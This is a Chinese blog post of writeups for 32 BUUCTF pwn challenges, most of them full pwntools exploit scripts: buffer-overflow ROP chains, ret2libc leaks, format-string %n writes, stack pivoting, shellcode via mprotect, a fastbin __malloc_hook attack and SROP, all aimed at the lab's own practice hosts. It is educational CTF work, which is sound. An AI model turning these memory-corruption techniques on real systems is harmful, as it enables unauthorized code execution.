温故而知新,可以为师矣。所以花了几天时间重新做了下 buuctf 的 pwn 题,先发下第一页共 32 题的题解。还有如果题解都很详细那么本文就太长了,写起来也浪费时间,所以比较简单的题就直接丢 exp 了,不懂可以去看其他人的题解,难的题我觉得我写的题解应该是挺详细的。截至到发文日期,只要是涉及 libc 的题目的 exp 都是能打通远程的。如有错误评论欢迎指正。

test_your_nc

直接 nc 连接即可得到 shell

rip

简单的 ret2text ,不过靶机是 ubuntu18 ,要注意用 ret 指令进行栈平衡

from pwn import *
from LibcSearcher import *
context.log_level='debug' p = remote('node4.buuoj.cn', 28520)
#p = process('pwn1')
elf = ELF('pwn1') #p.recv()
ret = 0x0000000000401016
payload = b'a'*(0xf+8) + p64(ret) + p64(elf.sym['fun'])
p.sendline(payload)
p.interactive()

warmup_csaw_2016

from pwn import *
from LibcSearcher import *
context.log_level='debug' p = remote('node4.buuoj.cn', 26284)
#p = process('pwn1')
elf = ELF('pwn1') p.recv()
payload = b'a'*(0x40+8) + p64(0x40060d)
p.sendline(payload)
p.interactive()

ciscn_2019_n_1

直接通过 IDA 查看 v1 与 v2 的距离,通过溢出覆盖 v2 的值

from pwn import *
p = remote("node4.buuoj.cn",26954)
payload = b'a'*44 + p64(0x41348000) //应该将浮点数转为十六进制
p.send(payload)
p.interactive()

pwn1_sctf_2016

跟着main主函数,发现vuln函数这里有溢出漏洞

这里的fgets限制了输入的长度,一看是没有溢出漏洞的,但是下面的replace函数会将输入的 ‘I' 替换成 ’you‘,我们可以根据这个实现溢出漏洞

并且发现了 get_flag 函数的地址

于是构造exp如下

from pwn import *
connect = 1
if connect:
p = remote("node4.buuoj.cn",29821)
else:
p = process('1')
payload = b'I'*20 + b'a'*4 + p32(0x8048F0D)
p.send(payload)
p.interactive()

jarvisoj_level0

from pwn import *
from LibcSearcher import *
context.log_level='debug' p = remote('node4.buuoj.cn', 26366)
#p = process('pwn1')
elf = ELF('level0') p.recv()
payload = b'a'*0x88 + p64(elf.sym['callsystem'])
p.sendline(payload)
p.interactive()

[第五空间2019 决赛]PWN5

存在格式化字符串漏洞,只要第二次输入的次和随机值 dword_804c44 相等,即可得到shell
利用 %n 修改dword_804c044 的值
于是构造exp如下
from pwn import *
from LibcSearcher import *
p = process("./pwn")
data_addr = 0x804c044
payload = p32(data_addr) + b"%10$n"
p.recv()
p.sendline(payload)
p.recv()
p.sendline(b'4')
p.interactive()

也可以利用 pwntools 的 fmtstr_payload 实现

from pwn import *
proc_name = './pwn'
sh = process(proc_name) unk_804C044 = 0x804C044 payload = fmtstr_payload(10, {unk_804C044: 0x1})
sh.sendline(payload)
sh.sendline(str(0x1))
sh.interactive()

ciscn_2019_c_1

最终在encrypt()函数这找到溢出漏洞

利用 \x00 进行字符截断,就不会对后面的 payload 进行加密了

之后就是 ret2libc,并且要注意栈平衡

from pwn import *
from LibcSearcher import *
#p = process("./1")
p = remote("node4.buuoj.cn", 28810)
elf = ELF("./1")
pop_rdi = 0x0000000000400c83
ret = 0x00000000004006b9
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
main_addr = elf.symbols["main"] #first : get puts_addr
payload1 = b'\0' + b'a'*(0x50 + 7) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload1)
p.recvline() #注意这里接受两行
p.recvline()
text = p.recv()
puts_addr = u64(text[:6].ljust(8,b'\x00')) //实测如果这里不补足8位,u64无法转换 #secode : get libcbase and other fuction addrs
libc = LibcSearcher("puts", puts_addr)
libcbase = puts_addr - libc.dump("puts")
#print(libcbase)
system_addr = libcbase + libc.dump("system")
binsh_addr = libcbase + libc.dump("str_bin_sh") #third : get shell
p.sendline(b'1')
p.recv()
payload2 = b'\0' + b'a'*(0x50 + 7) + p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
p.sendline(payload2)
p.interactive()

ciscn_2019_n_8

如图,QWORD 代表代表了两个字节,将var[17]赋值为17即可

from pwn import*

#p = process("./1")
p = remote("node4.buuoj.cn", 29946)
p.recv()
payload = b'a'*13*4 + p64(0x11)
#payload = p32(17)*14
p.sendline(payload)
p.interactive()

jarvisoj_level2

from pwn import *
from LibcSearcher import *
context.log_level='debug' #p = remote('node4.buuoj.cn', 27484)
p = process('pwn')
elf = ELF('pwn') p.recv()
payload = b'a'*140 + p32(elf.sym['system']) + p32(0) + p32(next(elf.search(b'/bin/sh\x00')))
p.sendline(payload)
p.interactive()
p.recv()

bjdctf_2020_babystack

from pwn import *
from LibcSearcher import *
context.log_level='debug' #p = process('pwn')
p = remote('node4.buuoj.cn', 27053)
elf = ELF('pwn') p.recv()
payload = b'a'*24 + p64(elf.sym['backdoor'])
p.sendline(b'50')
p.recv()
p.sendline(payload)
p.interactive()

[OGeek2019]babyrop

main
sub_804871F
sub_80487D0
明显的 ret2libc ,搜先要绕过 strncmp 的检测,这里可以用截断符绕过
其次是第二个函数写入的 buf 的字节数要尽可能的大,所以要覆盖 buf[7],注意这里修改为 127 也是不够的,得修改大些
from pwn import *
from LibcSearcher import *
context.log_level='debug' #p = process('pwn')
p = remote('node4.buuoj.cn', 28494)
elf = ELF('pwn') payload = b'\x00' + b'\xff'*7
p.sendline(payload)
p.recv()
payload = b'a'*235 + p32(elf.sym['puts']) + p32(0x8048825) + p32(elf.got['puts'])
p.send(payload) puts_addr = u32(p.recvuntil(b'\xf7'))
print(hex(puts_addr)) libc = ELF('buu/libc-2.23.so')
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00')) payload = b'\x00' + b'\xff'*7
p.sendline(payload)
p.recv()
payload = b'a'*235 + p32(system) + p32(0) + p32(binsh)
p.sendline(payload)
p.interactive()

get_started_3dsctf_2016

有个坑点,如果没有跳转到exit函数结束的话,程序不能够回显,即flag不会被输出到屏幕上

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#context(os='linux', arch='amd64') #p = process('./1')
p = remote('node4.buuoj.cn', 27088)
elf = ELF('1') exit_addr = elf.symbols['exit']
getflag_addr = elf.symbols['get_flag'] payload = b'a'*56 + p32(getflag_addr) + p32(exit_addr) + p32(0x308CD64F) + p32(0x195719D1)
p.sendline(payload)
print(p.recv())
另外的方法,利用 mprotect 函数写入 shellcode 执行
我们可以通过 mprotect 函数将一段内存设置成可执行内存,来执行shellcode
需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
就这样,我们就可以将一段地址弄成可以执行的了。因为程序本身也是静态编译,所以地址是不会变的。
由于要是页的整数倍,所以我们取内存起始地址为 0x080eb000 ,大小为 0x1000,prot为7
找到能 pop 3 的指令

于是我们构造以下payload

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#context(os='linux', arch='amd64') #p = process('./1')
p = remote('node4.buuoj.cn', 27088)
elf = ELF('1') pop3_addr = 0x0806fc08
mprotect_addr = elf.symbols['mprotect']
read_addr = elf.symbols['read']
buf_addr = 0x080eb000 payload = b'a'*56
payload += p32(mprotect_addr) + p32(pop3_addr) + p32(buf_addr) + p32(0x1000) + p32(0x7)
payload += p32(read_addr) + p32(pop3_addr) + p32(0) + p32(buf_addr) + p32(0x100)
payload += p32(buf_addr) p.sendline(payload)
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()

jarvisoj_level2_x64

64位下的 ret2text

from pwn import *
from LibcSearcher import *
context.log_level='debug' #p = process('pwn')
p = remote('node4.buuoj.cn', 28941)
elf = ELF('pwn') rdi = 0x4006b3
payload = b'a'*0x88 + p64(rdi) + p64(next(elf.search(b'/bin/sh\x00'))) + p64(elf.sym['system'])
p.recv()
p.sendline(payload)
p.interactive()

[HarekazeCTF2019]baby_rop

from pwn import *
from LibcSearcher import *
context.log_level='debug' #p = process('pwn')
p = remote('node4.buuoj.cn', 27109)
elf = ELF('pwn') rdi = 0x400683
payload = b'a'*0x18 + p64(rdi) + p64(next(elf.search(b'/bin/sh\x00'))) + p64(elf.sym['system'])
p.recv()
p.sendline(payload)
p.interactive()

ciscn_2019_en_2

from pwn import *
from LibcSearcher import *
context.log_level='debug' #p = process('pwn')
p = remote('node4.buuoj.cn', 29131)
elf = ELF('pwn') ret = 0x4006b9
rdi = 0x400c83 p.recv()
p.sendline(b'1')
payload = b'\x00' + b'a'*0x57 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload) puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#print(hex(puts_addr))
libc = ELF('buu/libc-2.27-x64.so')
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00')) p.recv()
p.sendline(b'1')
payload = b'\x00' + b'a'*0x57 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'Input your Plaintext to be encrypted\n', payload)
p.interactive()

not_the_same_3dsctf_2016

跟前面一道题比较类似

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#context(os='linux', arch='amd64') #p = process('./1')
p = remote('node4.buuoj.cn', 28016)
elf = ELF('1') get_secret_addr = elf.symbols['get_secret']
exit_addr = elf.symbols['exit']
write_addr = elf.symbols['write']
flag_addr = 0x080ECA2D payload = b'a'*45 + p32(get_secret_addr) + p32(write_addr) + p32(exit_addr) + p32(1) + p32(flag_addr) + p32(0x100)
p.sendline(payload)
print(p.recv())

ciscn_2019_n_5

裸的 ret2libc
from pwn import *
from LibcSearcher import *
context.log_level='debug' #p = process('pwn')
p = remote('node4.buuoj.cn', 26628)
elf = ELF('pwn') ret = 0x00000000004004c9
rdi = 0x0000000000400713 p.sendlineafter(b'tell me your name\n', 'w1nd')
payload = b'a'*0x28 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
p.sendlineafter(b'What do you want to say to me?\n', payload) puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = ELF('buu/libc-2.27-x64.so')
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00')) p.sendlineafter(b'tell me your name\n', 'w1nd')
payload = b'a'*0x28 + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'What do you want to say to me?\n', payload) p.interactive()

others_shellcode

直接 nc

execve 系统调用

ciscn_2019_ne_5

这里的 strcpy 函数导致了栈溢出漏洞

在构造payload的时候,记得system函数地址后的返回地址四个字节不能有一个为零,否则strcpy函数复制的时候遇到 \x00 就不继续复制了

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
#context(os='linux', arch='amd64') #p = process('./1')
p = remote("node4.buuoj.cn", 29577)
elf = ELF('1')
system_addr = elf.symbols['system']
sh_addr = next(elf.search(b'sh\x00'))
ret = 0x0804843e p.sendlineafter('Please input admin password', 'administrator')
p.sendlineafter('0.Exit\n:', '1') payload = b'a'*(0x48+4) + p32(system_addr) + b'a'*4 + p32(sh_addr) #所以这里写成了 b'a'*4
p.sendlineafter('Please input new log info:', payload)
p.sendlineafter('0.Exit\n:', '4')
p.interactive()

铁人三项(第五赛区)_2018_rop

这里用 write 泄露 libc,其它都很寻常的 ret2libc

from pwn import *
from LibcSearcher import *
context.log_level='debug' #p = process('pwn')
p = remote('node4.buuoj.cn', 29939)
elf = ELF('pwn') payload = b'a'*0x8c + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(1) + p32(elf.got['write']) + p32(0x4)
p.sendline(payload) write_addr = u32(p.recv())
libc = ELF('buu/libc-2.27.so')
libcbase = write_addr - libc.sym['write']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00')) payload = b'a'*0x8c + p32(system) + p32(0) + p32(binsh)
p.sendline(payload)
p.interactive()

bjdctf_2020_babyrop

普通的 ret2libc
from pwn import *
from LibcSearcher import *
context.log_level='debug' #p = process('pwn')
p = remote('node4.buuoj.cn', 26698)
elf = ELF('pwn') rdi = 0x400733
ret = 0x4004c9 payload = b'a'*0x28 + p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.sym['main'])
p.sendlineafter(b'story!\n', payload) puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = ELF('buu/libc-2.23-x64.so')
libcbase = puts_addr - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00')) payload = b'a'*0x28 + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'story!\n', payload)
p.interactive()

bjdctf_2020_babystack2

简单的整数溢出和ret2text
from pwn import *
from LibcSearcher import *
context.log_level='debug' #p = process('pwn')
p = remote('node4.buuoj.cn', 27408)
elf = ELF('pwn') p.sendlineafter(b'your name:\n', '-1')
payload = b'a'*0x18 + p64(elf.sym['backdoor'])
p.sendlineafter(b'u name?\n', payload)
p.interactive()

jarvisoj_fm

格式化字符串漏洞

调试可知是第十一个参数

exp

from pwn import *
from LibcSearcher import *
context.log_level='debug' p = process('pwn')
#p = remote('node4.buuoj.cn', 26628)
elf = ELF('pwn') x_addr = 0x804A02C
#payload = fmtstr_payload(11,{x_addr:4})
payload = p32(x_addr) + b'%11$n'
p.sendline(payload)
#print(p.recv())
p.interactive()

pwn2_sctf_2016

简单的整数溢出和 ret2libc,但是坑的是

最后调用 system('/bin/sh') 的时候,如果用 p32(0) 会导致打不通

看汇编代码才发现,原来程序读字符串用的是自定义的 get_n 函数

读到 \x00 它就断了

from pwn import *
from LibcSearcher import *
context.log_level='debug' #p = process('pwn')
p = remote('node4.buuoj.cn', 25339)
elf = ELF('pwn') p.sendlineafter(b'to read?', b'-1')
payload = b'a'*0x30 + p32(elf.plt['printf']) + p32(elf.sym['main']) + p32(0x80486F8) + p32(elf.got['printf'])
p.sendlineafter(b'bytes of data!\n', payload)
p.recvline()
p.recvuntil(b'You said: ')
printf_addr = u32(p.recv(4)) libc = ELF('buu/libc-2.23.so')
libcbase = printf_addr - libc.sym['printf']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00')) p.sendlineafter(b'to read?', b'-1')
payload = b'a'*0x30 + p32(system) + b'a'*4 + p32(binsh) #注意这里
p.sendlineafter(b'bytes of data!\n', payload)
p.interactive()

ciscn_2019_es_2

main
vul
hack
咋一看是道很简单的栈溢出,不过,只能溢出8个字节,覆盖ebp和ret,而且 hack 不能拿到flag
这是一道 栈转移 的问题,栈迁移核心思想就是利用leave和ret转移ebp和esp。leave和ret常用于复原栈
leave=mov esp,ebp pop ebp
ret=pop eip
由于 mov esp,ebp 后,pop ebp,pop eip 后,eip会指向 esp 下一条指令的位置,所以 esp 的位置要填充无用数据, esp 的下一条指令再填充system函数的地址,后面再填充所需的数据
由gdb可知 esp 距离 ebp 的偏移为 0x38

payload 构成如下

IDA中可以找到很多 leave 指令

exp如下

from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
#context(os='linux', arch='amd64') #p = process('./1')
p = remote('node4.buuoj.cn', 28244)
elf = ELF('1') leave = 0x080484B8
system_addr = elf.symbols['system'] p.send(b'a'*36 + b'stop')
p.recvuntil(b'stop')
ebp = u32(p.recv(4)) payload = (b'a'*4 + p32(system_addr) + b'a'*4 + p32(ebp-0x28) + b'/bin/sh\x00').ljust(0x28, b'a')
payload += p32(ebp-0x38) + p32(leave)
p.send(payload)
p.interactive()

[HarekazeCTF2019]baby_rop2

64位下的 printf 函数泄露 libc

坑的是如果是泄露 printf@got 是会失败的
from pwn import *
from LibcSearcher import *
context.log_level='debug' #p = process('pwn')
p = remote('node4.buuoj.cn', 27227)
elf = ELF('pwn') rdi = 0x400733
rsi_r15 = 0x400731
ret = 0x4004d1
#%s
str_s = 0x400770 payload = b'a'*0x28 + p64(rdi) + p64(str_s) + p64(rsi_r15) + p64(elf.got['read']) + p64(0) + p64(elf.plt['printf']) + p64(elf.sym['main'])
p.sendlineafter(b'What\'s your name? ',payload)
p.recvline()
read_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) libc = ELF('buu/libc-2.23-x64.so')
libcbase = read_addr - libc.sym['read']
system = libcbase + libc.sym['system']
binsh = libcbase + next(libc.search(b'/bin/sh\x00')) payload = b'a'*0x28 + p64(rdi) + p64(binsh) + p64(system)
p.sendlineafter(b'What\'s your name? ',payload)
p.interactive()

jarvisoj_tell_me_something

需要 gdb 动态调试 ,或者注意下汇编代码

from pwn import *
from LibcSearcher import *
context.log_level='debug' #p = process('pwn')
p = remote('node4.buuoj.cn', 28205)
elf = ELF('pwn') rdi = 0x400668
ret = 0x400469 payload = b'a'*0x88 + p64(elf.sym['good_game'])
p.sendlineafter(b'Input your message:\n', payload)
p.recv()
p.recv()

babyheap_0ctf_2017

菜单堆题,保护措施一般全开。。。。
其中,新增堆块的时候可以自定义大小
为堆块写入内容的时候也可以自定义大小写入
那么就可以造成堆溢出,其它的都很寻常
攻击流程:
1.利用 unsortbin 泄露 libcbase
2.劫持 malloc_hook ,修改为 one_gadget
 
首先我们要做的是利用 unsortedbin 只有一个 chunk 时,其 chunk 的 fd 指向 与 main_arena 固定偏移的地方,然后利用 fastbin attack 泄露,获得 libcbase
先申请堆块,堆块0 是为了利用堆溢出修改其它堆块,堆块1 和 堆块2 用来 泄露堆块4 的 fd
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)
free(1)
free(2)
free 后可以看到堆块2 的 fd 指向堆块1
接下来是修改堆块2 的 fd,使其指向堆块4
payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80) 
fill(0,payload)
可以看到堆块4 已经加入了 fastbin
但是 fastbin 不能容纳 0x91 的 chunk ,并且我们重新 allcate 时也要过内存检测,所以继续利用堆溢出修改堆块4的大小
payload = p64(0)*3 + p64(0x21)
fill(3,payload)
可以看到正常的 free 状态的 堆块4,但是由于部分空间不在堆块的范围内,所以看不到 top chunk
这一步比较关键
之前因为我们 free(1) 和 free(2) ,所以 index1 和 index2 是为空的, fastbin 又是只有堆块2 和堆块4 这两个堆块,那么我们重新 allocate 时,由于 fastbin 采用头插法,所以先进的 chunk 反而后被 allocate ,所以这个时候 index1 -> 堆块2,index2 -> 堆块4 ,值得注意的是 index4 -> 堆块4 ,这样我们才能达到泄露 main_arena 的目的
多 allocate 一个 chunk 是防止我们 free(4) 后堆块4 和 top chunk 合并了
allocate(0x10)
allocate(0x10)
payload = p64(0)*3 + p64(0x91)
fill(3,payload)
allocate(0x80)
free(4)
调试结果如下
还有先恢复堆块4 的大小,才能加入 unsortedbin
由于 dump 函数的代码限制,必须 index != 0 ,才能输出内容,所以才需要利用 index4 -> 堆块4 去 free , index2 -> 堆块4 去 dump ,真的太巧妙了!!
调试也可只泄露的 fd 距离 main_arena 的偏移量为 0x58
wiki 中写道, main_arena -0x10 一般是 malloc_hook 的地址
同时把 libc 中的 malloc_hook 的地址也泄露出来
那么我们就得的 libcbase 了,偏移应该是 0x3c4b10 - 0x58 -0x10 = 0x3c4b78
接下来就是把 malloc_hook 修改为 one_gadget,需要用到 fastbin attack
再看此时的堆块的情况
还有一个问题,要怎么找到合适的堆块呢,毕竟 size 的数据要符合 fastbin 的范围
我们知道地址一般都是 0x7f 结尾,并且是小端序,所以我们可以控制 fd 指向的地址为 0x00*7 + 0x7f ,如果算上 0x10 的 prve size 和 size ,那么我们可以申请 0x60 大小的堆块
如图,小端序中 0x7f 的数据很多
我们是可以找到这样的数据的
libc中 malloc_hook 的地址为 0x3c4b10 ,在图一中的地址是 0x7f02debd1b10
图二中我们可以写入的 fd 为 0x7f02debd1aed ,相差 0x23 ,所以我们的 fd 应该为 libcbase + 0x3c4b10-0x23 ==> libcbase + 0x3c4aed
覆写 malloc_hook 的时候,由于不考虑 prve size 和 size 这 0x10 个字节,所以我们只需要填充 0x13 的无用字节
allocate(0x60)
free(4)
切割成两个堆块,其中一个是 0x60,为 fastbin attack 做铺垫

payload = p64(libcbase + 0x3c4aed)
fill(2,payload)
修改堆块4 的fd,使其指向 malloc_hook 上面的地方

allocate(0x60)
allocate(0x60)
再申请两个 0x60 的chunk,这时候我们就可以修改 malloc_hook 了
one_gadget = libcbase + 0x4526a
payload = b'a'*0x13 + p64(one_gadget)
fill(6, payload)
allocate(0x10) #跳转到 one_gadget
成功攻击!!
exp
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context(os='linux', arch='amd64') p = process('./pwn')
#p = remote('node4.buuoj.cn', 28357)
elf = ELF('./pwn')
libc = ELF('./buu/libc-2.23-x64.so') def allocate(size):
p.sendlineafter("Command:", '1')
p.sendlineafter("Size:", str(size)) def fill(index, content):
p.sendlineafter("Command:", '2')
p.sendlineafter("Index:", str(index))
p.sendlineafter("Size:", str(len(content)))
p.sendafter("Content:", content) def free(index):
p.sendlineafter("Command:", '3')
p.sendlineafter("Index:", str(index)) def dump(index):
p.sendlineafter("Command:", '4')
p.sendlineafter("Index:", str(index)) allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80) free(1)
free(2) payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x21) + p8(0x80)
fill(0,payload) payload = p64(0)*3 + p64(0x21)
fill(3,payload) allocate(0x10)
allocate(0x10)
payload = p64(0)*3 + p64(0x91)
fill(3,payload)
allocate(0x80)
free(4) dump(2)
p.recv()
main_arena_0x58 = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
#libc_malloc_hook = 0x3c4b10
libcbase = main_arena_0x58 - 0x3c4b78
print('libcbase => ',hex(libcbase)) allocate(0x60)
free(4)
payload = p64(libcbase + 0x3c4aed)
fill(2,payload) allocate(0x60)
allocate(0x60) one_gadget = libcbase + 0x4526a
payload = b'a'*0x13 + p64(one_gadget)
fill(6, payload) allocate(0x10) p.interactive()
总结:堆题太灵活太富有技巧性了,怎么把技巧性的总结为经验是很重要的

jarvisoj_level3

简单的 ret2libc
from pwn import *
from LibcSearcher import *
context.log_level='debug' #p = process('pwn')
p = remote('node4.buuoj.cn', 29138)
elf = ELF('pwn') payload = b'a'*140 + p32(elf.sym['write']) + p32(elf.sym['main']) + p32(0x1) + p32(elf.got['write']) + p32(0x4)
p.sendlineafter(b'Input:\n', payload) write_addr = u32(p.recvuntil(b'\xf7'))
print('write_addr=>',hex(write_addr)) libc = ELF('buu/libc-2.23.so')
libcbase = write_addr - libc.sym['write']
one_gadget = libcbase + 0x3a80c payload = b'a'*140 + p32(one_gadget)
p.sendlineafter(b'Input:\n', payload)
p.interactive()

ciscn_2019_s_3

可以利用的程序函数很少的一道题
这里可以栈溢出,并且会打印 0x30 个字符,可以通过gdb调试看看
程序在输入后打印的数据如下
gdb调试结果
其中,由于没开启 PIE ,所以 0x400536 没有变化直接被打印出来
因此,如果把 aaaaaaaa 替换成 /bin/sh 时,那么,我们接受到了 0x20 开始的八个字符就是与 /bin/sh 的地址有固定偏移量的地址。偏移量为 0xdf88 - 0xde70 = 0x118 ,所以 /bin/sh 的地址就拿到了
我们的目的是进行 execve 系统调用
$rax==59 
$rdi== binsh_addr
$rsi==0
$rdx==0
syscall
不过 rdx 的指令利用 ROPgadget 找不到
所以就是 CSU_ROP 了
看这两处区域,其中 0x400580 可以帮助我们控制 rdx 寄存器,但是一旦运行到 0x400589 这里,那么就会跳转到 [r12 + 0] ,所以要注意控制 r12 寄存器,并且,cmp 跳转这里的 rbp 寄存器也是需要我们去控制的
需要控制这么多的寄存器,那么就只有下面的 0x40059A 开始的指令合适了
那么二次攻击的 payload 就应该是 像将 rbx rbp r12 r13 r14 r15 放入构造好的值,以便接下来利用 0x400580 指令时程序能够顺利执行 shellcode
接下来要弄清楚我们要应该给 r12 传什么值
首先我们的二次攻击 pyload 应该是这样的
/bin/sh\x00 # binsh_addr
b'a'*8 #填充到 ret
rbx_rbp_r12_r13_r14_r15
rbx => 0
rbp => 1 #避免跳转
r12 =>
r13 => 0
r14 => 0
r15 => 0
r13_rdx # rdx 赋值完毕 开始执行 call cmp 指令
rdi # call 应该跳转到这里,binsh_addr + 0x50
rdi => binsh_addr # rdi 赋值完毕
rsi_r15
rsi => 0 # rsi 赋值完毕
r15 => 0
rax_3b
rax => 3b # rax 赋值完毕
syscall #进行系统调用 getshell
注:每一格的大小为 0x8
有两个坑点,第一个真的特别坑,ubuntu16调试的话, 0x20 后泄露的地址与 /bin/sh 的偏移量是 0x118, ubuntu22 是 0x148,还有如果第一次攻击后跳转到 main 函数的话,偏移量应该要是 0x138 ,只有跳转到 vuln 函数才能是 0x118
第二个是没有汇编指令中 leave ,所以直接覆盖 ret 就行
exp
from pwn import *
from LibcSearcher import *
context.log_level='debug' #p = process('pwn')
p = remote('node4.buuoj.cn', 26376)
elf = ELF('pwn') rax_3b = 0x4004E2
rdi = 0x4005a3
rsi_r15 = 0x4005a1
rbx_rbp_r12_r13_r14_r15 = 0x40059A
r13_rdx = 0x400580
syscall = 0x400517 payload = b'a'*0x10 + p64(elf.sym['vuln'])
p.sendline(payload)
p.recv(0x20)
binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118
print('binsh=>',hex(binsh)) payload = b'/bin/sh\x00'
payload = payload.ljust(0x10, b'a')
payload += p64(rbx_rbp_r12_r13_r14_r15) + p64(0) + p64(1) + p64(binsh + 0x50) + p64(0)*3
payload += p64(r13_rdx)
payload += p64(rdi) + p64(binsh)
payload += p64(rsi_r15) + p64(0)*2
payload += p64(rax_3b)
payload += p64(syscall) p.sendline(payload) p.interactive()
不懂,为什么偏移要随跳转函数的改变而改变,是因为vuln 调用 main 和 main 调用 vuln 栈中多压入 rbp 和 rip 吗,所以多了 0x20 ,但是我调试的时候貌似 buf 的地址会改变,第二次泄露的地址就是第一次泄露的地址 - 0x118 。而且是在第一次攻击调用 main 函数的情况下。当然这是本地调试的情况,远程就不清楚了
还可以用 SROP 的方法做

from pwn import *
from LibcSearcher import *
context.log_level='debug'
context(os='linux', arch='amd64') #p = process('pwn')
p = remote('node4.buuoj.cn', 26376)
elf = ELF('pwn') rax_15 = 0x4004DA
syscall = 0x400517 payload = b'a'*0x10 + p64(elf.sym['vuln'])
p.sendline(payload)
p.recv(0x20)
binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118
print('binsh=>',hex(binsh)) # 设置sigframe关键寄存器
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = binsh
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall print('sigframe.rax:',sigframe.rax)
payload = b'/bin/sh\x00'*2 + p64(rax_15) + p64(syscall) + flat(sigframe) p.sendline(payload)
p.interactive()

ez_pz_hackover_2016

chall函数
如果执行了 vuln 函数,那么就可以触发栈溢出漏洞
首先要使 strcmp(s, "crashme") == 0 ,所以令 payload = 'crashme\x00'
明显这道题是 ret2shellcode
接下来就是本题重点了,调试出偏移地址
0x8048600 是发送栈溢出漏洞这里的汇编指令地址,IDA查看需要的填充无用数据大小是错的,需要动态调试
一个调试技巧,这里要先断点,不然程序就直接结束了,无法debug
from pwn import *
p=process('./1')
context.log_level='debug' gdb.attach(p,'b *0x8048600') p.recvuntil('crash: ')
stack=int(p.recv(10),16)
print(hex(stack)) payload=b'crashme\x00' + b'a'*4
p.sendline(payload) pause()
进入gdb界面后,按 c 运行到断点处
查看栈可以发现,我们的数据在 0xffa39603 处开始填充,如果要覆盖 ebp ,那么需要 0x16 + 4 个字节
这里 chall 函数泄露地址是 0xfff5f9cc
记录我们写入的 shellcode 的偏移为 0x1c,所以可以用 泄露地址 - 0x1c 来代表 shellcode 地址
于是构造出以下exp
from pwn import *
p=process('./1')
context.log_level='debug'

p.recvuntil('crash: ')
stack=int(p.recv(10),16)
print(hex(stack)) payload=b'crashme\x00'+b'a'*(0x16+4-8) + p32(stack-0x1c) + asm(shellcraft.sh())
p.sendline(payload) p.interactive()

这里比较坑的是,不知道是不是我环境配置的原因,我用 ubuntu16 和 ubuntu18 这两台是无法成功动态调试的,一按 c 就程序就直接结束了,根本不理会是否设置了断点,换了 ubuntu22 和 kali 才能正常调试

BUUCTF-PWN-第一页writep(32题)的更多相关文章

  1. [BUUCTF]PWN——[Black Watch 入群题]PWN

    [Black Watch 入群题]PWN--栈劫持 入群题密码在 /password.txt Ubuntu 16 2020年02月27日:此入群题已作废,请看新版入群题. 附件 解题步骤: 例行检查, ...

  2. BZOJ第一页刷题计划

    BZOJ第一页刷题计划 已完成:67 / 90 [BZOJ1000]A+B Problem:A+B: [BZOJ1001][BeiJing2006]狼抓兔子:最小割: [BZOJ1002][FJOI2 ...

  3. 剑指offer 面试32题

    面试32题: 题目:从上到下打印二叉树 题:不分行从上到下打印二叉树 解题代码: # -*- coding:utf-8 -*- # class TreeNode: # def __init__(sel ...

  4. 各位大佬Python的第一部分道基础题已经整理好了,希望大家面试的时候能用的上。

    Python的第一部分道基础题,希望大家面试的时候能用的上. 1.为什么学习Python? Python是目前市面上,我个人认为是最简洁.最优雅.最有前途.最全能的编程语言,没有之一. 2.通过什么途 ...

  5. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  6. 数据结构作业——P53页算法设计题(7):原地逆转链表

